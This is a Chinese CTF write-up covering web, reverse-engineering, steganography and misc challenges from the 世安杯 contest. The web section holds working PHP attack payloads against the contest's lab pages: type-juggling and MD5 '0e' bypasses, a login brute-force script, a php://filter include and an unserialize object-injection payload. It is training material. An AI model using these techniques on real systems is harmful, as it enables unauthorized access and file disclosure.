世安杯-WriteUp

9-26.jpg

一个比较无语的比赛,还是记录一下解题姿势

这是一个实验吧和西普学院搞的比赛,说实话办得不太用心
题目基本都是以前CTF或者实验吧的一些原题,水份太多了,连flag都没改,直接搜到之前的wp提交就行了,这也是比赛很无语的一个地方

还是记录一下姿势

题目

类型 题目 答题链接 描述 分值
web ctf入门级题目 http://ctf1.shiyanbar.com/shian-rao/ 有源码哦! 100
曲奇 http://ctf1.shiyanbar.com/shian-quqi/ 曲奇特别好吃!!! 225
类型 http://ctf1.shiyanbar.com/shian-leixing/ php有好多类型啊 200
登录 http://ctf1.shiyanbar.com/shian-s/ 有提示 150
admin http://ctf1.shiyanbar.com/shian-du/ you are not admin! 250
逆向 console http://ctf1.shiyanbar.com/shian-file/console.rar 好像是微软的语言吧。 200
getflag http://ctf1.shiyanbar.com/shian-file/get_flag.rar 算法其实特别简答,但是好像无法静态啊!啊!啊! 225
bin http://ctf1.shiyanbar.com/shian-file/re.rar linux可执行程序逆向一则。 300
动态暴力破解 http://ctf1.shiyanbar.com/shian-file/baopo.rar 下断点,然后手工暴力破解 275
android http://ctf1.shiyanbar.com/shian-file/android.rar apk的逆向 250
简单算法 http://ctf1.shiyanbar.com/shian-file/hackme.rar 一个简单的算法而已。 200
隐写 low http://ctf1.shiyanbar.com/shian-file/low.rar low low check out! 250
斑马斑马 http://ctf1.shiyanbar.com/shian-file/banmabanma.rar 斑马斑马,你不要睡着啦,再给我看看你受伤的尾巴,我不想去触碰你伤口的疤,我只想掀起你的头发。 125
CreateByWho http://ctf1.shiyanbar.com/shian-file/CreateByWho.rar 零碎的二维码,好像还缺少几块!!! 200
适合作为桌面的图片 http://ctf1.shiyanbar.com/shian-file/desktop.rar 让你的才思迸发出来吧!! 150
杂项 reverseMe http://ctf1.shiyanbar.com/shian-file/reverseMe.rar 这是一个什么文件呢? 150
珍妮的qq号 http://ctf1.shiyanbar.com/shian-file/zhenni.rar 珍妮的QQ是一个靓号哦 100
心仪的公司 http://ctf1.shiyanbar.com/shian-file/webshell.rar 小黑在拿到webshell后,马上就获得了自己心仪公司的照片 150
密码学 des http://ctf1.shiyanbar.com/shian-file/decode.rar DES加密算法!! 400
rsa http://ctf1.shiyanbar.com/shian-file/rsa.rar rsa 300

Web整体比较简单

Web

ctf入门级题目

直接给出源码

1
2
3
4
5
6
7
8
9
10
11
<?php
$flag = '*********';
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo '<p class="alert">You password must be alphanumeric</p>';
else if (strpos ($_GET['password'], '--') !== FALSE)
die($flag);
else
echo '<p class="alert">Invalid password</p>';
}
?>

分析:
题目的意思是既让你输入a-zA-Z0-9的数字字母又叫你输入包含--字符的password ,逻辑上显然是不通的,所以我们需要的是绕过ereg和strpos。
用数组传递就能满足条件了
ereg无法处理数组,当$__GET[‘password’]为数组的时候会返回FALSE,而strpos找不到--也会返回FALSE 故传一个数组即可满足条件

21-05-53.jpg

flag{Maybe_using_rexpexp_wasnt_a_clever_move}

曲奇

进去就是一个看起来提示性很强的url

1
http://ctf1.shiyanbar.com/shian-quqi/index.php?line=&file=a2V5LnR4dA==
21-13-04.jpg

a2V5LnR4dA==base64 decode得key.txt
顺理成章地想到文件读取
尝试访问http://ctf1.shiyanbar.com/shian-quqi/key.txt
成功访问到相同内容
line这个参数经过测试应该是读取第几行的内容的作用
故写了几行Python读取源码

1
2
3
4
import requests
url = "http://ctf1.shiyanbar.com/shian-quqi/index.php?line={}&file=aW5kZXgucGhw"
for i in xrange(100):
print requests.get(url.format(i,)).text,

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=a2V5LnR4dA==");
$file_list = array(
'0' =>'key.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['key']) && $_COOKIE['key']=='li_lr_480'){
$file_list[2]='thisis_flag.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

思路很简单,直接用burp改个cookie就好了

21-20-13.jpg

flag{UHGgd3rfH*(3HFhuiEIWF}

类型

直接是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
show_source(__FILE__);
$a=0;
$b=0;
$c=0;
$d=0;
if (isset($_GET['x1']))
{
$x1 = $_GET['x1'];
$x1=="1"?die("ha?"):NULL;
switch ($x1)
{
case 0:
case 1:
$a=1;
break;
}
}
$x2=(array)json_decode(@$_GET['x2']);
if(is_array($x2)){
is_numeric(@$x2["x21"])?die("ha?"):NULL;
if(@$x2["x21"]){
($x2["x21"]>2017)?$b=1:NULL;
}
if(is_array(@$x2["x22"])){
if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
$p = array_search("XIPU", $x2["x22"]);
$p===false?die("ha?"):NULL;
foreach($x2["x22"] as $key=>$val){
$val==="XIPU"?die("ha?"):NULL;
}
$c=1;
}
}
$x3 = $_GET['x3'];
if ($x3 != '15562') {
if (strstr($x3, 'XIPU')) {
if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
$d=1;
}
}
}
if($a && $b && $c && $d){
include "flag.php";
echo $flag;
}
?>

看来是要过关斩将了

一步一步来
先看第一关

1
2
3
4
5
6
7
8
9
10
11
12
if (isset($_GET['x1']))
{
$x1 = $_GET['x1'];
$x1=="1"?die("ha?"):NULL;
switch ($x1)
{
case 0:
case 1:
$a=1;
break;
}
}

x1 不能是 1 但是又要 case 1
直接用不是数字来就好了,普通字母就能绕过了
为了加深理解,本地搭建了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (isset($_GET['x1']))
{
$x1 =@ $_GET['x1'];
$x1=="1"?die("ha?"):NULL;
switch ($x1)
{
case 0:
echo "= =0";
case 1:
echo "= =!";
case 2:
echo "= =2!";
}
}

输入x1为不是数字的就能过

23-03-15.jpg

然后是第二关:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$x2=(array)json_decode(@$_GET['x2']);
if(is_array($x2)){
is_numeric(@$x2["x21"])?die("ha?"):NULL;
if(@$x2["x21"]){
($x2["x21"]>2017)?$b=1:NULL;
}
if(is_array(@$x2["x22"])){
if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
$p = array_search("XIPU", $x2["x22"]);
$p===false?die("ha?"):NULL;
foreach($x2["x22"] as $key=>$val){
$val==="XIPU"?die("ha?"):NULL;
}
$c=1;
}
}

$x2是个要被解释成数组的变量

1
2
3
4
is_numeric(@$x2["x21"])?die("ha?"):NULL;
if(@$x2["x21"]){
($x2["x21"]>2017)?$b=1:NULL;
}

然后$x2[x21]不能是数字且要大于2017
那么php的弱类型比较就派上用场了,直接用让$x2[x21]=9999是是是
然后php会在比较的时候将其转化为数字9999

1
2
3
4
5
6
7
8
9
if(is_array(@$x2["x22"])){
if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
$p = array_search("XIPU", $x2["x22"]);
$p===false?die("ha?"):NULL;
foreach($x2["x22"] as $key=>$val){
$val==="XIPU"?die("ha?"):NULL;
}
$c=1;
}

接下来$x2[x22]必须是个数组,且包含两个元素且第一个是数组
然后array_search("XIPU", $x2["x22"])for循环遍历要求$x2[x22]数组要有’XIPU’而且for循环又要求不能有’XIPU’
我们可以让$x2[x22]的第二个元素为0,跟$x2[x21]同理,也是弱类型比较,就会让array_search("XIPU", $x2["x22"])为真且满足for循环
$x2[x22]=[[6],0]

第三关

1
2
3
4
5
6
7
8
$x3 = $_GET['x3'];
if ($x3 != '15562') {
if (strstr($x3, 'XIPU')) {
if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
$d=1;
}
}
}

要求$x3不能是"15562"且包含”XIPU”字符且substr(md5($x3),8,16) == substr(md5('15562'),8,16

直接MD5碰撞就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib
flag =1
for i in xrange(10,99999):
md5_1 = hashlib.md5("XIPU"+str(i).zfill(6))
md5_2 = md5_1.hexdigest()
if md5_2[8:10] == "0e" :
for t in md5_2[10:24]:
if t.isalpha():
flag=0
break
if flag:
print md5_2
print "XIPU"+str(i).zfill(6)
break
flag=1

输出结果为

1
2
2d3f55900e724039009658983fe76971
XIPU074428

为什么这么构造呢?
因为PHP的特性,使用==这个比较的时候会出现各种类型转换
我们观察到字符串15562MD5值的8-24位为`0e46379442318098
当我们以这样的形式比较

1
2
<?php if ("0e12"=="0e72356723") echo "E";
else echo "NE";?>

输出是 E
因为当字符串为xexxxxx,其中x为数字时,php会将字符串转换成科学计数法,即0e12转化为0x10^12结果还是0,右边的0e72356723同理。所以会相等
所以我们只需要构造一个MD5的8-24位形式为0e[0-9]{16}且包含字符串XIPU的字符串就好了
脚本跑出的字符串XIPU074428的MD5值是2d3f55900e724039009658983fe76971,其8-24位是0e72403900965898,正好符合条件
所以最终的payload为

1
2
3
4
http://ctf1.shiyanbar.com/shian-leixing/
?x1=是是是
&x2={"x21":"2018是是是","x22":[[1],0],"c":3,"d":4,"e":5}
&x3=XIPU074428

CTF{Php_1s_bstl4_1a}

登录

进去是个登录页面,有验证码
看源码,发现最底下

21-21-24.jpg

思路也比较简单,爆破就是了
Python脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests,re
url = "http://ctf1.shiyanbar.com/shian-s/"
url1 = "http://ctf1.shiyanbar.com/shian-s/index.php?username=admin&password={}&randcode={}"
cookie = {"PHPSESSID":"is53k685uppq82vfb30lfdsfg7"}
for i in xrange(99999):
Vcode = re.findall("type=\"text\"><br><br>(.*?)<br><br>",requests.get(url,cookies=cookie).text)[0]
print "Now processing password: ",str(i).zfill(5)
result = requests.get(url1.format(str(i).zfill(5),Vcode),cookies=cookie)
result.encoding = "utf-8"
if len(result.text)!=146:
print result.text
break

唯一的坑点就是要在cookie加上PHPSESSID
最后爆破到密码就是00325

21-57-14.jpg

flag{U1tkOdgutaVWucdy2AbDWXPGkDx9bS2a}

admin

进去就提示you are not admin !
按照这个比赛的套路,直接看源码

1
2
3
4
5
6
7
8
9
10
11
12
you are not admin !
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}

file_get_content是可以获取外部的资源的,当然,php.ini允许的时候才可以
故直接在我的vps上直接放了个t.txt,里面就是the user is admin
然后就绕过了第一个判断

1
http://ctf1.shiyanbar.com/shian-du/?user=https://wzsite.cn/static/t.txt

22-04-06.jpg

当然你也可以这样
用php伪协议来绕过

22-07-03.jpg

当时我用的就是方法一

然后include了一个$file,我们可以用 php://filter伪协议来includeclass.php进来
(为什么要看class.php? 因为源码提示啊= =)
然后得到

1
2
hello admin!
PD9waHANCg0KY2xhc3MgUmVhZHsvL2YxYTkucGhwDQogICAgcHVibGljICRmaWxlOw0KICAgIHB1YmxpYyBmdW5jdGlvbiBfX3RvU3RyaW5nKCl7DQogICAgICAgIGlmKGlzc2V0KCR0aGlzLT5maWxlKSl7DQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgICAgDQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICJfX3RvU3RyaW5nIHdhcyBjYWxsZWQhIjsNCiAgICB9DQp9DQo/

base64解码得到class.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
?>

看不出引用干嘛,可能是index.php的源码不全
再次获取index.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
if(preg_match("/f1a9/",$file)){
exit();
}else{
include($file); //class.php
$pass = unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin ! ";
}
?>
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
--!>

果然留有后手
意思是叫咱们按照规则让echo $pass运行然后调用Read类的__ToString()魔术方法
$pass = unserialize($pass); echo $pass;
然后我们需要现将$pass序列化
故本地写个php(当然= =也许大佬们都是直接拼出来的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
$a = new Read();
$a->file = "f1a9.php";
echo serialize($a);
?>

得到O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}
故最后payload为

1
http://ctf1.shiyanbar.com/shian-du/?user=https://wzsite.cn/static/t.txt&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}

22-50-20.jpg

flag_Xd{hSh_ctf:e@syt0g3t}

逆向

console

丢查壳工具查看,发现是个.NET的程序,直接丢reflector反编译
发现关键源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private static void MAIN(string[] A_0)
{
string str2 = null;
DateTime now = DateTime.Now;
string str3 = string.Format("{0}", now.Hour + 1);
string str4 = "CreateByTenshine";
FUN1(str4, Convert.ToInt32(str3), ref str2);
if (Console.ReadLine() == str2)
{
Console.WriteLine("u got it!");
Console.ReadKey(true);
}
else
{
Console.Write("wrong");
}
Console.ReadKey(true);
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private static void FUN1(string A_0, int A_1, ref string A_2)
{
int num = 0;
if (0 < A_0.Length)
{
do
{
char ch = A_0[num];
int num2 = 1;
do
{
ch = Convert.ToChar(FUN2(Convert.ToInt32(ch), num2));
num2++;
}
while (num2 < 15);
A_2 = A_2 + ch;
num++;
}
while (num < A_0.Length);
}
A_2 = FUN2(A_2);
}
1
2
3
4
5
6
7
private static int FUN2(int A_0, int A_1)
{
return (new int[] {
2, 3, 5, 7, 11, 13, 0x11, 0x13, 0x17, 0x1d, 0x1f, 0x25, 0x29, 0x2b, 0x2f, 0x35,
0x3b, 0x3d, 0x43, 0x47, 0x49, 0x4f, 0x53, 0x59, 0x61, 0x65, 0x67, 0x6b, 0x6d, 0x71
}[A_1] ^ A_0);
}

简单地写个python就可以逆向出来了

1
2
3
4
5
6
7
8
9
10
11
12
import hashlib
l = [ 2, 3, 5, 7, 11, 13, 17, 0x13, 0x17, 0x1d, 0x1f, 0x25, 0x29, 0x2b, 0x2f, 53, 0x3b, 0x3d, 0x43, 0x47, 0x49, 0x4f, 0x53, 0x59, 0x61, 0x65, 0x67, 0x6b, 0x6d, 113]
str = "CreateByTenshine"
re = ""
for j in str:
num = ord(j)
for i in range(1,15):
num = l[i]^num
re+= chr(num)
print re
md5 = hashlib.md5(re)
print "flag{"+md5.hexdigest().upper()+"}"

flag{967DDDFBCD32C1F53527C221D9E40A0B}

其他逆向是队友写的,还有的没做,逆向先更新到这

隐写

low

提示就是low,那必定是LSB最低有效为位隐写了
直接用Stegsolve打开发现找不到
最后才发现是实验吧的原题,原来是Stegsolve处理bmp的缺陷,将图片另存为png之后再用Stegsolve打开找就能找到了

16-05-41.jpg

然后发现手机扫描没反应
才意识到是反色了
把二维码截取下来,直接丢到任何可编辑的地方,比如QQ,word,然后直接鼠标拖动覆盖选择图片一下就直接反色了,然后就扫描就可以得到flag了

flag{139711e8e9ed545e}

斑马斑马

19-09-50.jpg

= =脑洞题,不想解释
斑马身上是个条形码,直接扫描就好了
在线扫描条形码网站:https://online-barcode-reader.inliteresearch.com/

CreateByWho

是一个零碎的二维码图片
之前百度杯也有类似的题,不过这个二维码是缺少了几部分的
19-13-37.jpg
没写出来
看别人的wp是把缺的三个角的方块自己补全然后扫描

19-15-03.jpg

脑洞也是略大

适合作为桌面的图片

很简单的隐写题
首先把图片用Stegsolve进行LSB隐写查找,找到如下二维码

19-23-06.jpg

扫描之后得到一串十六进制数

1
03F30D0A79CB05586300000000000000000100000040000000730D0000006400008400005A000064010053280200000063000000000300000016000000430000007378000000640100640200640300640400640500640600640700640300640800640900640A00640600640B00640A00640700640800640C00640C00640D00640E00640900640F006716007D00006410007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100715500577C010047486400005328110000004E6966000000696C00000069610000006967000000697B000000693300000069380000006935000000693700000069300000006932000000693400000069310000006965000000697D000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007304000000312E7079520300000001000000730A0000000001480106010D0114014E280100000052030000002800000000280000000028000000007304000000312E707974080000003C6D6F64756C653E010000007300000000

把所有的十六进制字符用winhex新建一个文件
发现文件末尾出现了1.py的字符

19-24-48.jpg

目测是pyc逆向
丢到在线pyc逆向网站http://tool.lu/pyc/
逆向得

1
2
3
4
5
6
def flag():
str = [102,108,97,103,123,51,56,97,53,55,48,51,50,48,56,53,52,52,49,101,55,125]
flag = ''
for i in str:
flag += chr(i)
print flag

运行一下即可获得flag
flag{38a57032085441e7}

Misc

ReverseMe

拿到文件发现打不开,用winhex查看发现是一个倒过来的图片文件

15-38-06.jpg

直接用python逐个反过来就好了

1
2
3
4
5
f = open(r"C:\Users\windows8.Windows\Desktop\reverseMe\reverseMe","rb")
f_1 = open(r"C:\Users\windows8.Windows\Desktop\reverseMe_R","wb")
f_1.write(f.read()[::-1])
f.close()
f_1.close()

然后用画图查看,发现是这个样子

15-48-59.jpg

翻转一下就好了

15-49-13.jpg 15-49-20.jpg

flag{4f7548f93c7bef1dc6a0542cf04e796e}

珍妮的qq号

不解释

1
珍妮换了一个新的QQ号码,原来的号码和新的号码都是5位靓号哦;其次,新的号码是原来号码的4倍,并且原来的号码倒着写正好是新的号码,请问,新号码是多少,新号码即为key。

1
2
3
4
for i in xrange(1,99999):
if str(i).zfill(5)== str(4*i).zfill(5)[::-1]:
print 4*i
break

87912

webshell

分析数据包的题
提示是小黑在拿到webshell后,马上就获得了自己心仪公司的照片
猜测就是找http包然后分析包含照片的信息
用wireshark打开包,过滤出http协议的包,不一会就能找到图片中的flag

15-59-10.jpgfl4g:{ftop_Is_Waiting_4_y}

总结

先让我吐槽一下——辣鸡比赛
这是一个不尊重参赛者的比赛
连flag也不改,题目都是原题,选择题宕机最后半小时又开启说要算分(当时我直接无视了),以及决赛还要自带干粮(这个不能忍!)
所以是果断地拒绝了参加决赛,纯当练手了

感悟:

  • 少参加类似的技术含量低的比赛(除非实在闲得慌)
  • 逆向要加强,汇编、动态调试、加花混淆、防动调等
  • 多运动,做一天的题,累得慌

感谢阅读



----- 感谢阅读 -----